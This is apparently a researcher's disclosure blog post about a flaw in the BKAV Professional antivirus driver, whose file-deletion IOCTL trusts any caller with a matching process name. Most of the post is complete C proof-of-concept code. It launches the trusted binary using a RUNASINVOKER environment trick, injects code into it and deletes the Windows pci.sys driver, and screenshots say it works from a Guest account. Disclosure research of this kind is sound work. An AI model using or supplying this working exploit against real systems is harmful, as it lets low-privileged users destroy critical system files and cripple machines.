Our target is BKAV Professional (Internet Security AI 2019 whatever this mean) - super duper last version available for download.
During it install and startup this software install and load the following drivers.
![]() |
Pic 1. BKAV drivers. |
This driver has dispatch entry with user callable IOCTLs 0x2221CC, 0x22E141, 0x22E145. First one work with internal driver data, two others are more interesting. First is for file deletion, second is for file renaming. As filename they use parameter of device I/O control input buffer from user mode. However even if BKAV device called \Device\BkavSP has default security descriptor they can't be called directly without some little magic. This driver approves calls only from few processes that is hardcoded inside and requester checked everytime IOCTL 0x22E141 or 0x22E145 dispatch hit.
Approval algorithm is the following:
- Query requester full image path name, ZwQueryInformationProcess(ProcessImageFileName), shake it a bit, lower chars;
- Compare result with hardcoded values, if they equal - caller is trusted, process IOCTL.
Hardcoded values are:
BkavService.exe, BluProService.exe, BkavFirewallService.exe, EnterpriseUpdateService.exe
They are expected to be in \SystemRoot\SysWOW64. And yes after installation there is at least one of them present - BkavService.exe. There is no validation if this is valid executables from BKAV or renamed or malicious, just filename comparison. Perhaps authors thinks if they are in SysWOW64 this protect them from tampering. That is a mistake. By the way I saw identical requester check in some trash from ASUS software with same pity result.
What we need to do is to run BkavService.exe with our code inside, create a typical zombie process. What is BkavService.exe? It is 32 bit application with requestedExecutionLevel = requireAdministrator set in embedded manifest. So we will use 32 bit loader and to be able to exploit this BKAVSP feature we need to bypass requireAdministrator manifest setting. We cannot modify this file as it in SYSWOW64 folder and we cannot use it from outside this folder. So we need another simple workaround. During CreateProcess phase we will create copy of our environment with RtlCreateEnvironment and extend it by RtlSetEnvironmentVariable with the new variable __COMPAT_LAYER with value RUNASINVOKER. Next this environment block will be supplied as parameter for CreateProcess API. This will override manifest setting and launch this BkavService.exe requiring administrator rights. From this zombie process we can do our "hack the planet" stuff. Even from Guest account.
The full source code below. As target for deletion selected Windows driver "pci.sys" with hardcoded path. You can use other filenames, they not necessary must be inside Windows directory.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#pragma warning(disable: 4005) | |
#include <windows.h> | |
#include <strsafe.h> | |
#include <ntstatus.h> | |
#include "ntos.h" | |
#if defined (_MSC_VER) | |
#if (_MSC_VER >= 1900) | |
#ifdef _DEBUG | |
#pragma comment(lib, "vcruntimed.lib") | |
#pragma comment(lib, "ucrtd.lib") | |
#else | |
#pragma comment(lib, "libucrt.lib") | |
#pragma comment(lib, "libvcruntime.lib") | |
#endif | |
#endif | |
#endif | |
typedef NTSTATUS(NTAPI* pfnNtDeviceIoControlFile)( | |
_In_ HANDLE FileHandle, | |
_In_opt_ HANDLE Event, | |
_In_opt_ PIO_APC_ROUTINE ApcRoutine, | |
_In_opt_ PVOID ApcContext, | |
_Out_ PIO_STATUS_BLOCK IoStatusBlock, | |
_In_ ULONG IoControlCode, | |
_In_reads_bytes_opt_(InputBufferLength) PVOID InputBuffer, | |
_In_ ULONG InputBufferLength, | |
_Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, | |
_In_ ULONG OutputBufferLength); | |
typedef int (WINAPI* pfnMessageBoxA)( | |
_In_opt_ HWND hWnd, | |
_In_opt_ LPCSTR lpText, | |
_In_opt_ LPCSTR lpCaption, | |
_In_ UINT uType); | |
typedef HANDLE(WINAPI* pfnCreateFileA)( | |
_In_ LPCSTR lpFileName, | |
_In_ DWORD dwDesiredAccess, | |
_In_ DWORD dwShareMode, | |
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, | |
_In_ DWORD dwCreationDisposition, | |
_In_ DWORD dwFlagsAndAttributes, | |
_In_opt_ HANDLE hTemplateFile); | |
typedef NTSTATUS(NTAPI* pfnRtlExitUserThread)( | |
_In_ NTSTATUS ExitStatus); | |
typedef int(__cdecl* psprintf_s)( | |
char* buffer, | |
size_t sizeOfBuffer, | |
const char* format, | |
...); | |
typedef struct tagLOAD_PARAMETERS { | |
CHAR szDeviceName[100]; | |
CHAR szMessage[100]; | |
WCHAR szFileToDelete[MAX_PATH]; | |
pfnNtDeviceIoControlFile NtDeviceIoControlFile; | |
pfnCreateFileA CreateFileA; | |
pfnRtlExitUserThread RtlExitUserThread; | |
pfnMessageBoxA MessageBoxA; | |
psprintf_s sprintf_s; | |
} LOAD_PARAMETERS, * PLOAD_PARAMETERS; | |
LOAD_PARAMETERS g_LoadParameters; | |
#include "minirtl\minirtl.h" | |
HANDLE NTAPI supRunProcessAsInvoker( | |
_In_ LPWSTR lpszParameters, | |
_In_opt_ LPWSTR lpCurrentDirectory, | |
_In_opt_ LPWSTR lpApplicationName, | |
_Out_opt_ HANDLE* PrimaryThread | |
) | |
{ | |
BOOL bResult = FALSE; | |
LPWSTR pszBuffer = NULL; | |
SIZE_T ccb; | |
STARTUPINFO si; | |
PROCESS_INFORMATION pi; | |
DWORD dwFlags = CREATE_DEFAULT_ERROR_MODE | NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT; | |
PVOID pEnvironment; | |
UNICODE_STRING valueName, valueData; | |
if (PrimaryThread) | |
*PrimaryThread = NULL; | |
if (lpszParameters == NULL) | |
return NULL; | |
ccb = (1 + _strlen(lpszParameters)) * sizeof(WCHAR); | |
pszBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, ccb); | |
if (pszBuffer == NULL) | |
return NULL; | |
_strcpy(pszBuffer, lpszParameters); | |
RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); | |
RtlSecureZeroMemory(&si, sizeof(STARTUPINFO)); | |
si.cb = sizeof(STARTUPINFO); | |
GetStartupInfo(&si); | |
if (NT_SUCCESS(RtlCreateEnvironment(TRUE, &pEnvironment))) { | |
RtlInitUnicodeString(&valueName, L"__COMPAT_LAYER"); | |
RtlInitUnicodeString(&valueData, L"RUNASINVOKER"); | |
if (NT_SUCCESS(RtlSetEnvironmentVariable(&pEnvironment, | |
&valueName, &valueData))) | |
{ | |
bResult = CreateProcess( | |
lpApplicationName, | |
pszBuffer, | |
NULL, | |
NULL, | |
FALSE, | |
dwFlags | CREATE_SUSPENDED, | |
pEnvironment, | |
lpCurrentDirectory, | |
&si, | |
&pi); | |
if (bResult) { | |
if (PrimaryThread) { | |
*PrimaryThread = pi.hThread; | |
} | |
else { | |
CloseHandle(pi.hThread); | |
} | |
} | |
} | |
RtlDestroyEnvironment(pEnvironment); | |
} | |
HeapFree(GetProcessHeap(), 0, pszBuffer); | |
return pi.hProcess; | |
} | |
DWORD WINAPI ShellProc( | |
_In_ LOAD_PARAMETERS* Params | |
) | |
{ | |
IO_STATUS_BLOCK ioStatus; | |
CHAR Buffer[1024]; | |
CHAR szFailed[] = { 'F', 'a', 'i', 'l', 'e', 'd', 0 }; | |
CHAR szSuccess[] = { 'S', 'u', 'c', 'c', 'e', 's', 's', 0 }; | |
CHAR szTemp[] = { '%', 'l', 'x', 0 }; | |
HANDLE deviceHandle = Params->CreateFileA(Params->szDeviceName, | |
GENERIC_READ | GENERIC_WRITE, | |
0, | |
NULL, | |
OPEN_EXISTING, | |
0, | |
NULL); | |
if (deviceHandle != INVALID_HANDLE_VALUE) { | |
Params->MessageBoxA(0, Params->szMessage, szSuccess, 0); | |
NTSTATUS status = Params->NtDeviceIoControlFile(deviceHandle, | |
NULL, | |
NULL, | |
NULL, | |
&ioStatus, | |
0x22E141, | |
&Params->szFileToDelete, | |
MAX_PATH * sizeof(WCHAR), | |
NULL, | |
0); | |
if (NT_SUCCESS(status)) | |
{ | |
Params->MessageBoxA(0, szSuccess, szSuccess, 0); | |
} | |
else { | |
Params->sprintf_s(Buffer, 200, szTemp, status); | |
Params->MessageBoxA(0, Buffer, szFailed, 0); | |
} | |
} | |
else { | |
Params->MessageBoxA(0, szFailed, NULL, 0); | |
} | |
return Params->RtlExitUserThread(0); | |
} | |
int main() | |
{ | |
HINSTANCE hKernel = GetModuleHandle(TEXT("kernel32.dll")); | |
HINSTANCE hNtdll = GetModuleHandle(TEXT("ntdll.dll")); | |
LPVOID RemoteCode = NULL, newEp, newDp; | |
HINSTANCE InjectorImageBase = GetModuleHandle(NULL); | |
PIMAGE_NT_HEADERS NtHeaders = RtlImageNtHeader(InjectorImageBase); | |
PLOAD_PARAMETERS LoadParams = &g_LoadParameters; | |
PVOID LoadProc = ShellProc; | |
HANDLE hProcess; | |
_strcpy_a(LoadParams->szDeviceName, "\\\\.\\BkavSP"); | |
_strcpy_a(LoadParams->szMessage, "Device BkavSP opened\r\n"); | |
_strcpy(LoadParams->szFileToDelete, L"C:\\windows\\system32\\drivers\\pci.sys"); | |
LoadParams->CreateFileA = (pfnCreateFileA)GetProcAddress(hKernel, "CreateFileA"); | |
LoadParams->NtDeviceIoControlFile = (pfnNtDeviceIoControlFile)GetProcAddress(hNtdll, "NtDeviceIoControlFile"); | |
LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress(hNtdll, "RtlExitUserThread"); | |
LoadParams->sprintf_s = (psprintf_s)GetProcAddress(hNtdll, "sprintf_s"); | |
LoadParams->MessageBoxA = (pfnMessageBoxA)GetProcAddress(GetModuleHandle(L"user32.dll"), "MessageBoxA"); | |
hProcess = supRunProcessAsInvoker((LPWSTR)L"C:\\Windows\\system32\\BkavService.exe", NULL, NULL, NULL); | |
if (hProcess == NULL) { | |
MessageBox(GetDesktopWindow(), L"Could not start target process", NULL, 0); | |
return -1; | |
} | |
SIZE_T memIO = (SIZE_T)NtHeaders->OptionalHeader.SizeOfImage; | |
NTSTATUS ntStatus; | |
ntStatus = NtAllocateVirtualMemory( | |
hProcess, | |
&RemoteCode, | |
0, | |
&memIO, | |
MEM_COMMIT | MEM_RESERVE, | |
PAGE_EXECUTE_READWRITE); | |
if (!NT_SUCCESS(ntStatus)) { | |
MessageBox(GetDesktopWindow(), L"NtAllocateVirtualMemory error", NULL, 0); | |
return -2; | |
} | |
memIO = (SIZE_T)NtHeaders->OptionalHeader.SizeOfImage; | |
ntStatus = NtWriteVirtualMemory( | |
hProcess, | |
RemoteCode, | |
InjectorImageBase, | |
memIO, | |
&memIO); | |
if (!NT_SUCCESS(ntStatus)) { | |
MessageBox(GetDesktopWindow(), L"NtWriteVirtualMemory error", NULL, 0); | |
return -3; | |
} | |
newEp = (char*)RemoteCode + ((char*)LoadProc - (char*)InjectorImageBase); | |
newDp = (char*)RemoteCode + ((char*)LoadParams - (char*)InjectorImageBase); | |
HANDLE hRemoteThread; | |
ntStatus = RtlCreateUserThread( | |
hProcess, | |
NULL, | |
FALSE, | |
0, | |
0, | |
0, | |
(PUSER_THREAD_START_ROUTINE)newEp, | |
newDp, | |
&hRemoteThread, | |
NULL); | |
if (!NT_SUCCESS(ntStatus)) { | |
MessageBox(GetDesktopWindow(), L"RtlCreateUserThread error", NULL, 0); | |
return -4; | |
} | |
if (hRemoteThread) { | |
WaitForSingleObject(hRemoteThread, INFINITE); | |
NtClose(hRemoteThread); | |
} | |
if (hProcess) { | |
TerminateProcess(hProcess, 0); | |
CloseHandle(hProcess); | |
} | |
return 0; | |
} |
I would suggest BKAV to reconsider the way they validate requester process, discover for yourself modern security API to secure driver devices and stop using code solutions found in Google search. Otherwise this is just another lolAV with loldrivers that only does damage to client PC. Moving this "security solution" to the Recycle Bin as usual.
![]() |
Pic2. Running proof-of-concept from Guest account. |
![]() |
Pic 3. Inject success, device opened. |
![]() |
Pic 4. PCI.sys deleted successfully. |
P.S. Journey will continue ⛵ The much more dangerous "security solutions" are still waiting for publication.